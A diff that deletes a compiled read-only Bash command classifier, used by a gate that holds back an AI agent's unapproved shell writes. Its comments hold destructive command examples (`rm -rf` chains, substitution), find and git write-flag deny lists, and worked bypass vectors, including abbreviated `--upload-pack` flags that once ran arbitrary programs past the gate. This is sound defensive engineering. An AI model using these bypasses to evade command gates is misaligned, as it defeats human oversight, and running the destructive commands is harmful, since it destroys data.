  535. package/dist/policy-packs/builtin/understanding-before-execution/auto-approve.js +0 -361
  536. package/dist/policy-packs/builtin/understanding-before-execution/auto-approve.js.map +0 -1
  537. package/dist/policy-packs/builtin/understanding-before-execution/delegation-markers.d.ts +0 -304
  538. package/dist/policy-packs/builtin/understanding-before-execution/delegation-markers.js +0 -734
  539. package/dist/policy-packs/builtin/understanding-before-execution/delegation-markers.js.map +0 -1
  540. package/dist/policy-packs/builtin/understanding-before-execution/expiry-reason.d.ts +0 -36
  541. package/dist/policy-packs/builtin/understanding-before-execution/expiry-reason.js +0 -73
  542. package/dist/policy-packs/builtin/understanding-before-execution/expiry-reason.js.map +0 -1
  543. package/dist/policy-packs/builtin/understanding-before-execution/index.d.ts +0 -19
  544. package/dist/policy-packs/builtin/understanding-before-execution/index.js +0 -83
  545. package/dist/policy-packs/builtin/understanding-before-execution/index.js.map +0 -1
  546. package/dist/policy-packs/builtin/understanding-before-execution/inflight-records.d.ts +0 -135
  547. package/dist/policy-packs/builtin/understanding-before-execution/inflight-records.js +0 -618
  548. package/dist/policy-packs/builtin/understanding-before-execution/inflight-records.js.map +0 -1
  549. package/dist/policy-packs/builtin/understanding-before-execution/ledger.d.ts +0 -25
  550. package/dist/policy-packs/builtin/understanding-before-execution/ledger.js +0 -56
  551. package/dist/policy-packs/builtin/understanding-before-execution/ledger.js.map +0 -1
  552. package/dist/policy-packs/builtin/understanding-before-execution/lifecycle.d.ts +0 -20
  553. package/dist/policy-packs/builtin/understanding-before-execution/lifecycle.js +0 -93
  554. package/dist/policy-packs/builtin/understanding-before-execution/lifecycle.js.map +0 -1
  555. package/dist/policy-packs/builtin/understanding-before-execution/markers.d.ts +0 -126
  556. package/dist/policy-packs/builtin/understanding-before-execution/markers.js +0 -245
  557. package/dist/policy-packs/builtin/understanding-before-execution/markers.js.map +0 -1
  558. package/dist/policy-packs/builtin/understanding-before-execution/measured-permission-modes.d.ts +0 -29
  559. package/dist/policy-packs/builtin/understanding-before-execution/measured-permission-modes.js +0 -82
  560. package/dist/policy-packs/builtin/understanding-before-execution/measured-permission-modes.js.map +0 -1
  561. package/dist/policy-packs/builtin/understanding-before-execution/permission-mode-observations.d.ts +0 -71
  562. package/dist/policy-packs/builtin/understanding-before-execution/permission-mode-observations.js +0 -175
  563. package/dist/policy-packs/builtin/understanding-before-execution/permission-mode-observations.js.map +0 -1
  564. package/dist/policy-packs/builtin/understanding-before-execution/persisted-reports.d.ts +0 -620
  565. package/dist/policy-packs/builtin/understanding-before-execution/persisted-reports.js +0 -1047
  566. package/dist/policy-packs/builtin/understanding-before-execution/persisted-reports.js.map +0 -1
  567. package/dist/policy-packs/builtin/understanding-before-execution/post-tool-use-boundary.d.ts +0 -128
  568. package/dist/policy-packs/builtin/understanding-before-execution/post-tool-use-boundary.js +0 -213
  569. package/dist/policy-packs/builtin/understanding-before-execution/post-tool-use-boundary.js.map +0 -1
  570. package/dist/policy-packs/builtin/understanding-before-execution/stay-in-scope-config.d.ts +0 -129
  571. package/dist/policy-packs/builtin/understanding-before-execution/stay-in-scope-config.js +0 -166
  572. package/dist/policy-packs/builtin/understanding-before-execution/stay-in-scope-config.js.map +0 -1
  573. package/dist/policy-packs/builtin/understanding-before-execution/task-markers.d.ts +0 -164
  574. package/dist/policy-packs/builtin/understanding-before-execution/task-markers.js +0 -275
  575. package/dist/policy-packs/builtin/understanding-before-execution/task-markers.js.map +0 -1
  576. package/dist/policy-packs/builtin/understanding-before-execution-runtime.d.ts +0 -1
  577. package/dist/policy-packs/builtin/understanding-before-execution-runtime.js +0 -10
  578. package/dist/policy-packs/builtin/understanding-before-execution-runtime.js.map +0 -1
  579. package/dist/policy-packs/builtin/understanding-before-execution.d.ts +0 -526
  580. package/dist/policy-packs/builtin/understanding-before-execution.js +0 -1074
  581. package/dist/policy-packs/builtin/understanding-before-execution.js.map +0 -1
  582. package/dist/policy-packs/permission-translator.d.ts +0 -9
  583. package/dist/policy-packs/permission-translator.js +0 -76
  584. package/dist/policy-packs/permission-translator.js.map +0 -1
  585. package/dist/runtime/action-envelope.d.ts +0 -64
  586. package/dist/runtime/action-envelope.js +0 -46
  587. package/dist/runtime/action-envelope.js.map +0 -1
  588. package/dist/runtime/approval-signing.d.ts +0 -111
  589. package/dist/runtime/approval-signing.js +0 -384
  590. package/dist/runtime/approval-signing.js.map +0 -1
  591. package/dist/runtime/bash-match-facts.d.ts +0 -60
  592. package/dist/runtime/bash-match-facts.js +0 -196
  593. package/dist/runtime/bash-match-facts.js.map +0 -1
  594. package/dist/runtime/bash-match-registry.d.ts +0 -112
  595. package/dist/runtime/bash-match-registry.js +0 -406
  596. package/dist/runtime/bash-match-registry.js.map +0 -1
  597. package/dist/runtime/bash-prefix-parse.d.ts +0 -31
  598. package/dist/runtime/bash-prefix-parse.js +0 -576
  599. package/dist/runtime/bash-prefix-parse.js.map +0 -1
  600. package/dist/runtime/command-normalize.d.ts +0 -658
  601. package/dist/runtime/command-normalize.js +0 -2410
  602. package/dist/runtime/command-normalize.js.map +0 -1
  603. package/dist/runtime/deletion-target-resolve.d.ts +0 -28
  604. package/dist/runtime/deletion-target-resolve.js +0 -1078
  605. package/dist/runtime/deletion-target-resolve.js.map +0 -1
  606. package/dist/runtime/destructive-shell-floor.d.ts +0 -19
  607. package/dist/runtime/destructive-shell-floor.js +0 -611
  608. package/dist/runtime/destructive-shell-floor.js.map +0 -1
  609. package/dist/runtime/environment-resolver.d.ts +0 -36
  610. package/dist/runtime/environment-resolver.js +0 -138
  611. package/dist/runtime/environment-resolver.js.map +0 -1
  612. package/dist/runtime/git-context.d.ts +0 -201
  613. package/dist/runtime/git-context.js +0 -422
  614. package/dist/runtime/git-context.js.map +0 -1
  615. package/dist/runtime/index.d.ts +0 -12
  616. package/dist/runtime/index.js +0 -13
  617. package/dist/runtime/index.js.map +0 -1
  618. package/dist/runtime/intercept.d.ts +0 -494
  619. package/dist/runtime/intercept.js +0 -1313
  620. package/dist/runtime/intercept.js.map +0 -1
  621. package/dist/runtime/kube-context.d.ts +0 -16
  622. package/dist/runtime/kube-context.js +0 -63
  623. package/dist/runtime/kube-context.js.map +0 -1
  624. package/dist/runtime/kubectl-target-parse.d.ts +0 -31
  625. package/dist/runtime/kubectl-target-parse.js +0 -249
  626. package/dist/runtime/kubectl-target-parse.js.map +0 -1
  627. package/dist/runtime/ledger-add.d.ts +0 -16
  628. package/dist/runtime/ledger-add.js +0 -150
  629. package/dist/runtime/ledger-add.js.map +0 -1
  630. package/dist/runtime/ledger-writer.d.ts +0 -27
  631. package/dist/runtime/ledger-writer.js +0 -46
  632. package/dist/runtime/ledger-writer.js.map +0 -1
  633. package/dist/runtime/pause-sentinel.d.ts +0 -60
  634. package/dist/runtime/pause-sentinel.js +0 -156
  635. package/dist/runtime/pause-sentinel.js.map +0 -1
  636. package/dist/runtime/pending-approval.d.ts +0 -23
  637. package/dist/runtime/pending-approval.js +0 -67
  638. package/dist/runtime/pending-approval.js.map +0 -1
  639. package/dist/runtime/read-only-bash.d.ts +0 -141
  640. package/dist/runtime/read-only-bash.js +0 -2204
  641. package/dist/runtime/read-only-bash.js.map +0 -1
  642. package/dist/runtime/recovery-git-commit.d.ts +0 -22
  643. package/dist/runtime/recovery-git-commit.js +0 -284
  644. package/dist/runtime/recovery-git-commit.js.map +0 -1
  645. package/dist/runtime/reject-malformed-session-id.d.ts +0 -8
  646. package/dist/runtime/reject-malformed-session-id.js +0 -16
  647. package/dist/runtime/reject-malformed-session-id.js.map +0 -1
  648. package/dist/runtime/risk-classifier.d.ts +0 -38
  649. package/dist/runtime/risk-classifier.js +0 -311
  650. package/dist/runtime/risk-classifier.js.map +0 -1
  651. package/dist/runtime/session-id.d.ts +0 -113
  652. package/dist/runtime/session-id.js +0 -193
  653. package/dist/runtime/session-id.js.map +0 -1
  654. package/dist/runtime/shell-word.d.ts +0 -62
  655. package/dist/runtime/shell-word.js +0 -410
  656. package/dist/runtime/shell-word.js.map +0 -1
  657. package/dist/runtime/task-providers/agent-tasks.d.ts +0 -103
  658. package/dist/runtime/task-providers/agent-tasks.js +0 -245
  659. package/dist/runtime/task-providers/agent-tasks.js.map +0 -1
  660. package/dist/runtime/when-eval.d.ts +0 -62
  661. package/dist/runtime/when-eval.js +0 -212
  662. package/dist/runtime/when-eval.js.map +0 -1
  663. package/dist/runtime/workflow-policies.d.ts +0 -207
  664. package/dist/runtime/workflow-policies.js +0 -596
  665. package/dist/runtime/workflow-policies.js.map +0 -1
  666. package/dist/schema/audit.d.ts +0 -71
  667. package/dist/schema/audit.js +0 -32
  668. package/dist/schema/audit.js.map +0 -1
  669. package/dist/schema/doctor.d.ts +0 -25
  670. package/dist/schema/doctor.js +0 -23
  671. package/dist/schema/doctor.js.map +0 -1
  672. package/dist/schema/environments.d.ts +0 -215
  673. package/dist/schema/environments.js +0 -101
  674. package/dist/schema/environments.js.map +0 -1
  675. package/dist/schema/extract.d.ts +0 -9
  676. package/dist/schema/extract.js +0 -86
  677. package/dist/schema/extract.js.map +0 -1
  678. package/dist/schema/permission-profiles.d.ts +0 -2292
  679. package/dist/schema/permission-profiles.js +0 -60
  680. package/dist/schema/permission-profiles.js.map +0 -1
  681. package/dist/schema/policies.d.ts +0 -974
  682. package/dist/schema/policies.js +0 -298
  683. package/dist/schema/policies.js.map +0 -1
  684. package/dist/schema/requires.d.ts +0 -131
  685. package/dist/schema/requires.js +0 -88
  686. package/dist/schema/requires.js.map +0 -1
  687. package/dist/schema/risk.d.ts +0 -144
  688. package/dist/schema/risk.js +0 -194
  689. package/dist/schema/risk.js.map +0 -1
  690. package/dist/schema/session-start-preflight.d.ts +0 -10
  691. package/dist/schema/session-start-preflight.js +0 -106
  692. package/dist/schema/session-start-preflight.js.map +0 -1
  693. package/dist/schema/stale-base-check.d.ts +0 -18
  694. package/dist/schema/stale-base-check.js +0 -37
  695. package/dist/schema/stale-base-check.js.map +0 -1
  696. package/dist/schema/toolchain-parity.d.ts +0 -21
  697. package/dist/schema/toolchain-parity.js +0 -48
  698. package/dist/schema/toolchain-parity.js.map +0 -1
  699. package/dist/schema/workflows.d.ts +0 -519
  700. package/dist/schema/workflows.js +0 -81
  701. package/dist/schema/workflows.js.map +0 -1
  702. package/scripts/runtime-reality-docker-probe.mjs +0 -71
@@ -1,2204 +0,0 @@
1
- // Read-only Bash command classifier, shared by two gates that must not
2
- // fail-close on a command that mutates nothing: the understanding-gate
3
- // PreToolUse blocker (allows a provably read-only Bash command without
4
- // an approved report) and the Risk Classifier's read-only floor
5
- // (classifies one as `low` instead of fail-closed unclassified). Lives
6
- // in runtime/ so both the cli/pack hooks and the runtime classifier
7
- // import it without a cli -> runtime layering inversion.
8
- //
9
- // The pack's hook matcher `Edit|Write|Bash` is too broad on its own:
10
- // `Bash` covers commands like `git status`, `gh pr view`, `ls`, `cat`
11
- // that mutate nothing. Hard-blocking them behind a full Understanding
12
- // Report cycle trains the agent and operator to experience the gate
13
- // as noise, which erodes its credibility on the writes that actually
14
- // matter. A gate scoped exactly to what it must stop is a credible
15
- // gate.
16
- //
17
- // Design contract:
18
- // - The allowlist is intentionally conservative. Anything not on it
19
- // is treated as a write (block). Better to occasionally annoy a
20
- // read-only command we haven't enumerated than to let a write slip.
21
- // - Any shell chaining (`;`, `&&`, `||`, `|`), redirection (`>`,
22
- // `>>`, `<`), or command substitution (backticks, `$()`) makes the
23
- // whole composition unclassifiable. Even if every individual piece
24
- // would be read-only, a chained or substituted command can hide
25
- // writes inside its construction. Refuse the whole thing.
26
- // - `isReadOnlyBashPipeline` is a narrower exception used ONLY by the
27
- // understanding-gate PreToolUse hooks: it admits a single-`|` pipeline
28
- // when EVERY stage independently classifies read-only, while still
29
- // refusing `;`, `&` (and therefore `&&`, `|&`, background `&`), `||`,
30
- // redirection, and substitution. A pipeline whose every stage is on
31
- // the conservative read-only allowlist cannot write (writing needs a
32
- // write-bin, a redirect, or a substitution, all still refused), so
33
- // allowing it does not widen what the gate permits — it only stops the
34
- // gate from blocking a read-only poll like `gh pr checks 123 | head`.
35
- // `isReadOnlyBashCommand` itself stays strict (refuses all chaining)
36
- // for the Risk Classifier read-only floor and the solution-acceptance
37
- // write-guard, which must not treat any chaining as read-only.
38
- // - The classifier never short-circuits write detection: if a command
39
- // is on the allowlist but a write indicator is also present, the
40
- // write indicator wins. The shell-metachar check above accomplishes
41
- // this without a separate write-binary deny list (the meta-chars
42
- // are how a write would be smuggled into a "read-only" command in
43
- // the first place).
44
- // - Some bins are not admitted to the simple unconditional allowlist
45
- // because they can write via their own flags or operands without any
46
- // shell metacharacter. `find` is the canonical example (guarded by
47
- // `FIND_WRITE_FLAGS`). `sort`, `tree`, and `file` receive the same
48
- // per-bin write-flag guard: their read forms are classified read-only
49
- // when none of their write flags appear in the token list. `uniq`,
50
- // `date`, and `hostname` are excluded entirely because their write
51
- // vectors are positional operands or cluster-ambiguous flag chars
52
- // that cannot be detected cleanly (see `SIMPLE_READ_ONLY_BINS`).
53
- //
54
- // This module is the canonical home for the classification within
55
- // harness. If the @lannguyensi/understanding-gate package adds a
56
- // parallel classifier in the future, it should mirror this allowlist
57
- // verbatim, not diverge.
58
- import { decodeShellWord, hasAnsiCNulEscape } from "./shell-word.js";
59
- import { GIT_GLOBAL_NO_VALUE_FLAGS, GIT_GLOBAL_VALUE_TAKING_FLAGS, GIT_TOKEN_RE, } from "./command-normalize.js";
60
- /**
61
- * Single-token read-only binaries. Each accepts arguments without
62
- * changing classification: `ls -la /tmp` is still read-only.
63
- *
64
- * `cd` is included here even though it is a shell builtin, not an
65
- * external binary — same as `echo`/`true`/`false` already in this set,
66
- * the classifier only inspects argv tokens, not builtin-vs-binary
67
- * status. `cd` mutates only the invoking shell process's own working
68
- * directory; by construction it cannot write to the filesystem or
69
- * touch production, and unlike `find`/`sort`/`tree`/`file` it has no
70
- * flag whose value is an output path, so no per-bin write-flag guard is
71
- * needed. A chained or redirected form (`cd /x && rm -rf /`,
72
- * `cd $(evil)`) never reaches this set: the shell-metacharacter /
73
- * substitution guard in `isReadOnlyBashCommand` refuses the whole
74
- * string before tokenization, so only the bare navigation form (`cd`,
75
- * `cd -`, `cd DIR`, with or without `-L`/`-P`) is ever classified here.
76
- *
77
- * Deliberately EXCLUDED because their write vector is not a clean flag:
78
- *
79
- * `uniq`: a second positional operand is the output file. Detecting a
80
- * write requires positional-operand counting, which is out of scope for
81
- * a token-scan classifier.
82
- *
83
- * `date`: `-s` sets the system clock, but the `-s` character appears
84
- * inside getopt clusters shared with benign flags (`-Iseconds` is parsed
85
- * by GNU date as `-I FMT=seconds`, not `-I -s econds`). A char-in-
86
- * cluster check would produce false positives on read-only date forms,
87
- * and false negatives on combined forms like `-us`.
88
- *
89
- * `hostname`: `hostname NAME` sets the hostname via a positional operand,
90
- * not a flag. Detecting the write requires positional-operand counting.
91
- *
92
- * `sort`, `tree`, and `file` are NOT in this set but each gets a per-bin
93
- * write-flag guard below (like `find`): each has an enumerable set of
94
- * write/exec flags detectable by scanning tokens without counting
95
- * positional operands. The guard must cover EVERY write/exec vector, not
96
- * just output redirection: sort guards `-o` / `--output` (output),
97
- * `--compress-program` (runs an arbitrary program on spill files), and
98
- * `-T` / `--temporary-directory` (scratch write); tree guards `-o` /
99
- * `--output`; file guards `-C` / `--compile`.
100
- */
101
- const SIMPLE_READ_ONLY_BINS = new Set([
102
- "ls", "cat", "pwd", "which", "type",
103
- "grep", "rg", "wc",
104
- "head", "tail", "stat", "du", "df",
105
- "ps", "whoami", "id", "echo", "printenv",
106
- "true", "false", "uptime", "uname", "tty",
107
- "basename", "dirname", "realpath", "readlink",
108
- "less", "more", "cmp", "diff", "comm",
109
- "cut", "tr", "tac", "rev",
110
- "cd",
111
- ]);
112
- /**
113
- * `find` flags that make `find` itself a write tool, regardless of
114
- * shell metacharacters. `find` is the one binary in the canonical
115
- * read-only set whose own arguments can mutate the filesystem
116
- * (`-delete`) or shell out to a write command (`-exec`, `-execdir`,
117
- * `-ok`, `-okdir`). It also has output-write flags (`-fprint`,
118
- * `-fprintf`, `-fprint0`, `-fls`) that would land outside any
119
- * redirection guard. Any of these tokens anywhere in the argv
120
- * forfeits the read-only classification, so `find` is treated as a
121
- * special case rather than included in `SIMPLE_READ_ONLY_BINS`.
122
- */
123
- const FIND_WRITE_FLAGS = new Set([
124
- "-delete",
125
- "-exec", "-execdir", "-ok", "-okdir",
126
- "-fprint", "-fprintf", "-fprint0", "-fls",
127
- ]);
128
- /**
129
- * Command-runner binaries: their argv is itself a nested command to
130
- * execute, so the "each accepts arguments without changing
131
- * classification" rule does NOT hold for them. `command rm -rf /tmp/x`
132
- * runs `rm`, and `env FOO=bar rm -rf /tmp/x` runs `rm` too. Including
133
- * them in `SIMPLE_READ_ONLY_BINS` would classify the WRAPPER as
134
- * read-only while the wrapped command does the write, a hard gate
135
- * bypass. Each runner gets a `find`-style special case below that
136
- * strips the runner's own leading flags/assignments and recurse-
137
- * classifies the residual underlying command. Bare `env` /
138
- * `command` (no underlying command) stay read-only: they only print
139
- * the environment or resolve a name.
140
- *
141
- * `env` leading flags that take no command and do not change the fact
142
- * that what follows is still a command to run. `-i` / `--ignore-
143
- * environment` and `-u NAME` / `--unset=NAME` scrub the environment
144
- * but still execute the residual command; `-` is the historical
145
- * synonym for `-i`. `--` ends option parsing. We skip these (and any
146
- * `NAME=VALUE` assignment tokens) to find the real underlying command.
147
- *
148
- * Exported (F6 fix, review round 2026-07-27, run
149
- * 2026-07-27-gate-target-repo-resolution): `command-normalize.ts`'s
150
- * `peelEnv` used to hand-roll its own copy of this exact enumeration
151
- * ("that module's constants are private" — no longer true), and the two
152
- * copies had already drifted (see that module's header for the confirmed
153
- * divergence). Exporting the NAME sets here — not the parsing logic
154
- * itself — lets both callers share one source of truth for "which `env`
155
- * flags exist" while each keeps its own decision about what a match
156
- * means (this file only needs to skip past them; `command-normalize.ts`
157
- * additionally needs the VALUE of `-C`/`--chdir` to extract a target
158
- * directory, which stays local to that module). No behaviour change here.
159
- */
160
- export const ENV_LEADING_FLAGS = new Set([
161
- "-i", "--ignore-environment", "-", "--",
162
- ]);
163
- /** `env` flags that consume the following token as their value. */
164
- export const ENV_VALUE_FLAGS = new Set([
165
- "-u", "--unset",
166
- "-C", "--chdir",
167
- ]);
168
- /**
169
- * `env -S` / `--split-string` re-parses its single string argument
170
- * into a fresh argv, which defeats our whitespace tokenization: the
171
- * write would live inside one quoted token. Any appearance of the
172
- * split-string flag (bare, glued, or long-form) forfeits the
173
- * read-only classification. Fail closed.
174
- */
175
- export const ENV_SPLIT_STRING_FLAGS = /^(-S.*|--split-string(=.*)?)$/;
176
- /**
177
- * `less` and `more` can shell out via interactive `!cmd`. The agent
178
- * shell is non-interactive, so the escape is not reachable in
179
- * practice today; the entry stays in the simple-read-only set with
180
- * a documented caveat in case a future runtime PTYs the agent.
181
- */
182
- /**
183
- * `git` subcommands whose NAME is a prerequisite for read-only
184
- * classification. Membership here is necessary but NOT sufficient:
185
- * several of these subcommands mutate once given arguments (task
186
- * 9d1fff1b, measured against real git 2.50.1), so `isReadOnlyGitInvocation`
187
- * below applies a per-subcommand argument-form check on top of this set.
188
- * A name not in this set is a write (block) unconditionally.
189
- *
190
- * `git config` is excluded: with arguments it can set values.
191
- */
192
- const GIT_READ_ONLY_SUBS = new Set([
193
- "status", "log", "diff", "show", "branch", "tag",
194
- "fetch", "remote", "ls-files", "ls-remote", "ls-tree",
195
- "rev-parse", "rev-list", "describe", "blame", "shortlog",
196
- "reflog", "cat-file", "check-ref-format", "for-each-ref",
197
- "name-rev", "merge-base", "show-ref",
198
- ]);
199
- /**
200
- * Tokens that make ANY git invocation write or execute, independent of
201
- * the subcommand — so the check is applied globally, above the
202
- * per-subcommand switch (task 9d1fff1b, review round 1, all measured
203
- * against git 2.50.1):
204
- *
205
- * - `--output=<path>` / `--output <path>` creates/truncates a file at
206
- * OPTION-PARSE time (git's shared `diff_opt_parse` -> `xfopen`), not
207
- * just in diff/log/show: measured writing a file on `git rev-list
208
- * --output`, `git shortlog --output`, and `git blame --output` too,
209
- * all of which are otherwise-read-only subcommands. Scoping the
210
- * forfeit to a subcommand list would need re-auditing on every git
211
- * version for which parsers reach that handler; a global forfeit
212
- * does not, and no read-only git subcommand uses `--output` as a
213
- * read flag. Detected on the exact long form ONLY (no abbreviation
214
- * handling) — task 62fa0542 measured `--output` on git 2.50.1 and
215
- * found the diff/log/show/rev-list/shortlog/blame option parser does
216
- * NOT do GNU abbreviation matching for this flag at all: every prefix
217
- * shorter than the full 8 characters (`--o`..`--outpu`) errored
218
- * `invalid option` / `unrecognized argument` / `unknown option`
219
- * WITHOUT writing the canary file, on every one of those subcommands.
220
- * Adding an abbreviation arm here would only over-block (e.g.
221
- * `--o` is not close to any other real flag, so no live over-block
222
- * was found either) with no matching security benefit on this git
223
- * version, so the exact-match stays as the measured-correct guard;
224
- * re-measure if the guarded git version ever changes.
225
- * - `--upload-pack` / `--exec` / `--receive-pack`, in ANY unambiguous
226
- * GNU/BSD `getopt_long` abbreviation (task 62fa0542, real ACE bypass:
227
- * `git ls-remote --upl=/prog .` resolves to `--upload-pack` and runs
228
- * `/prog` — the exact-spelling-only guard that shipped in 9d1fff1b
229
- * missed every abbreviated form). Each one runs an operator-named
230
- * binary: measured `git fetch --upload-pack=<script> <local-repo>`
231
- * and `git ls-remote --upload-pack=<script> <local-repo>` executing
232
- * the script; `--receive-pack` is blocked defensively by analogy
233
- * (transport-option sibling of `--upload-pack`/`--exec`, config- and
234
- * version-dependent, not reachable on any subcommand in
235
- * `GIT_READ_ONLY_SUBS` on the measured git 2.50.1 — same fail-closed
236
- * posture as the `::` transport arm below). See `isLongOptionAbbreviation`
237
- * call sites just below for the measured minimum prefix length and
238
- * the per-flag measurement table in this module's git-guard tests.
239
- * - a NON-flag positional containing `::` is the `ext::`/`fd::`
240
- * transport-helper form, which runs a local program (protocol.ext
241
- * defaults to `user`, i.e. allowed for a direct CLI call). Blocked
242
- * defensively — it did not execute on the probe machine's git config,
243
- * but the vector is config/version-dependent and cheap to close.
244
- * Checked only on positionals so a `--format='%h::%s'` read stays
245
- * read-only (the `::` is inside a flag, not a remote position).
246
- */
247
- function isGitDangerousToken(raw) {
248
- const hit = (t) => {
249
- if (t === "--output" || t.startsWith("--output="))
250
- return true;
251
- // `--upload-pack`: measured minimum unambiguous prefix is 1 character
252
- // past `--` (`--u`), on `git ls-remote` (git 2.50.1) — `ls-remote`'s
253
- // option table has no other `u`-prefixed flag, so `--u` resolves
254
- // unambiguously to `--upload-pack` there even though the SAME prefix
255
- // is ambiguous on `git fetch` (`--unshallow` / `--update-shallow`,
256
- // needs `--upl`, 3 chars past `--`, to disambiguate — re-measured
257
- // task 62fa0542 review round 1, correcting an off-by-one in the
258
- // original 4-chars claim: `git fetch --upl=<script> <repo>` already
259
- // attempts to exec the script; `--up` alone still errors ambiguous
260
- // against `--update-head-ok`/`--update-shallow`). Per the fail-closed rule
261
- // (a prefix unambiguous on ANY relevant subcommand is blocked
262
- // everywhere), the minimum of the two — 1 — is used globally. Known,
263
- // disclosed over-block cost at this minimum (measured, git 2.50.1):
264
- // `git status --u` (-> `--untracked-files`), `git ls-files --u`
265
- // (-> `--unmerged`), `git name-rev --u` (-> `--undefined`) are all
266
- // genuinely read-only real git behavior that this guard now blocks.
267
- if (isLongOptionAbbreviation(t, "--upload-pack", 1))
268
- return true;
269
- // `--exec`: on `git ls-remote` (a hidden legacy alias for
270
- // `--upload-pack`, same execution vector, undocumented in `-h`), the
271
- // measured minimum unambiguous prefix is 3 characters past `--`
272
- // (`--exe`) — `--e` / `--ex` are ambiguous with `--exit-code` and
273
- // ERROR (do not execute). No read-only subcommand other than
274
- // `ls-remote` accepts `--exec` at all (measured against every name
275
- // in `GIT_READ_ONLY_SUBS`), and no other flag on any of those
276
- // subcommands starts with `exe`, so no over-block was found at this
277
- // minimum.
278
- if (isLongOptionAbbreviation(t, "--exec", 3))
279
- return true;
280
- // `--receive-pack`: not accepted, at any prefix length, by any
281
- // subcommand in `GIT_READ_ONLY_SUBS` on the measured git 2.50.1 (it
282
- // is a `push`/`send-pack` option) — the exact spelling was already
283
- // blocked defensively pre-fix, so this is the same defense extended
284
- // to abbreviations, not a newly-reachable vector. Calibrated against
285
- // `git push` (a `send-pack` front end): measured minimum unambiguous
286
- // prefix is 4 characters past `--`, `--rece` — re-measured task
287
- // 62fa0542 review round 1, correcting an off-by-one in the original
288
- // 3-chars (`--rec`) claim: `git push --rec=<script> --dry-run <repo>
289
- // HEAD:x` errors `ambiguous option: rec (could be --recurse-submodules
290
- // or --receive-pack)`, while `--rece=<script> ...` already attempts to
291
- // read from the named script as the remote helper. At the corrected
292
- // minimum 4, there is no known over-block for this receive-pack arm:
293
- // `--rec` stays read-only not because we block it, but because on real
294
- // git it resolves to the unrelated, harmless `--recurse-submodules`
295
- // (below the minimum), so it errors naturally as an ambiguous option.
296
- if (isLongOptionAbbreviation(t, "--receive-pack", 4))
297
- return true;
298
- if (!t.startsWith("-") && t.includes("::"))
299
- return true;
300
- return false;
301
- };
302
- // raw-OR-decoded (repo convention, task fdee7d0f): decoding can only
303
- // ADD a match, so a quoted `--"output"=x` / `ext"::"x` cannot slip past.
304
- return hit(raw) || hit(decodeShellWord(raw));
305
- }
306
- /**
307
- * Branch write flags that need NO positional operand (the positional
308
- * write forms — `git branch -D main`, `git branch newname` — are
309
- * already caught structurally by the "no non-flag operand" rule in
310
- * `isReadOnlyGitInvocation`). These glued/standalone forms mutate
311
- * config or descriptions of the CURRENT branch without a positional,
312
- * so the structural rule alone would miss them. Closed set from git's
313
- * branch(1) manual.
314
- *
315
- * EXACT spellings and short flags only. Every long-form entry also has
316
- * an unambiguous GNU `getopt_long` ABBREVIATION vector (task 62fa0542,
317
- * review round 1 fix on 2118d30: `git branch --unse` really unsets the
318
- * upstream, `GIT_EDITOR=... git branch --edi` really writes
319
- * `branch.<name>.description` and spawns the editor, `git branch
320
- * --set-upstream-t=other` really sets tracking — the exact-spelling-only
321
- * set below missed every one of these), closed by `isBranchWriteFlag`
322
- * below via `isLongOptionAbbreviation`, NOT by widening this set (which
323
- * only ever holds exact tokens).
324
- *
325
- * MEASUREMENT TABLE (git 2.50.1, `git branch <flag>` on a real repo,
326
- * ground truth = a created/measured artefact — a config write, an
327
- * editor invocation via `GIT_EDITOR`, a deleted/renamed/copied branch —
328
- * never the exit code alone; scratchpad/gitmeasure/repo, this run):
329
- *
330
- * flag shortest unambiguous prefix over-block
331
- * --delete --d (1 char) none found
332
- * --move --mo (2 chars) none found
333
- * --copy --cop (3 chars) none found
334
- * --force --forc (4 chars) none found
335
- * --unset-upstream --u (1 char) none found
336
- * --edit-description --e (1 char) none found
337
- * --set-upstream-to --set-upstream- (13 chars,
338
- * NOTE the trailing hyphen is part of the
339
- * minimum: `--set-upstream` alone (12 chars,
340
- * no trailing `-`) is the deprecated exact
341
- * `--set-upstream` alias instead, already an
342
- * exact-match entry above; adding the `-`
343
- * disambiguates towards `-to`) none found
344
- *
345
- * "none found" means: no OTHER long option on `git branch`'s option
346
- * table (`--verbose`, `--quiet`, `--track`, `--color`, `--contains`,
347
- * `--no-contains`, `--abbrev`, `--all`, `--omit-empty`, `--list`,
348
- * `--show-current`, `--create-reflog`, `--merged`, `--no-merged`,
349
- * `--column`, `--sort`, `--points-at`, `--ignore-case`,
350
- * `--recurse-submodules`, `--format`) shares a prefix with any of the
351
- * flags above at or past the measured minimum length, so none of these
352
- * abbreviation arms blocks a genuinely harmless `git branch` read form
353
- * (confirmed by direct measurement of each one, not by inspection
354
- * alone). Ambiguous shorter prefixes (`--m`, `--c`/`--co`, `--f`/`--fo`/
355
- * `--for`, `--s`/`--se`/`--set`/.../`--set-upstre`, `--n`/`--no`/`--no-`)
356
- * genuinely ERROR on real git (do not write) and are correctly left
357
- * unmatched below — `isLongOptionAbbreviation`'s gated minimum is what
358
- * keeps them unmatched.
359
- *
360
- * `--track` (`-t`) was also checked (task brief flagged it as a "?"):
361
- * bare `git branch --track` / `--track=direct` (no positional) is a
362
- * harmless no-op read (measured: lists branches, no config change);
363
- * the only way `--track` mutates is alongside a branch-name positional
364
- * (`git branch --track newname`), which the structural "no non-flag
365
- * operand" rule in `isReadOnlyGitInvocation` already blocks. No new
366
- * guard needed for `--track`.
367
- */
368
- const BRANCH_WRITE_FLAGS = new Set([
369
- "-d", "-D", "--delete", "-m", "-M", "--move", "-c", "-C", "--copy",
370
- "-u", "--set-upstream-to", "--unset-upstream", "--edit-description",
371
- "--set-upstream", "-f", "--force",
372
- ]);
373
- function isBranchWriteFlag(raw) {
374
- const hit = (t) => {
375
- if (BRANCH_WRITE_FLAGS.has(t))
376
- return true;
377
- if (t.startsWith("--set-upstream-to=") || t.startsWith("--set-upstream="))
378
- return true;
379
- // Unambiguous GNU abbreviations of each long-form write flag. See
380
- // the measurement table above for the minimum prefix length and
381
- // over-block audit for each. `isLongOptionAbbreviation` itself
382
- // strips any glued `=VALUE` before comparing, so this also covers
383
- // `--set-upstream-t=other`, `--del=`, etc.
384
- if (isLongOptionAbbreviation(t, "--delete", 1))
385
- return true;
386
- if (isLongOptionAbbreviation(t, "--move", 2))
387
- return true;
388
- if (isLongOptionAbbreviation(t, "--copy", 3))
389
- return true;
390
- if (isLongOptionAbbreviation(t, "--force", 4))
391
- return true;
392
- if (isLongOptionAbbreviation(t, "--unset-upstream", 1))
393
- return true;
394
- if (isLongOptionAbbreviation(t, "--edit-description", 1))
395
- return true;
396
- if (isLongOptionAbbreviation(t, "--set-upstream-to", 13))
397
- return true;
398
- return false;
399
- };
400
- return hit(raw) || hit(decodeShellWord(raw));
401
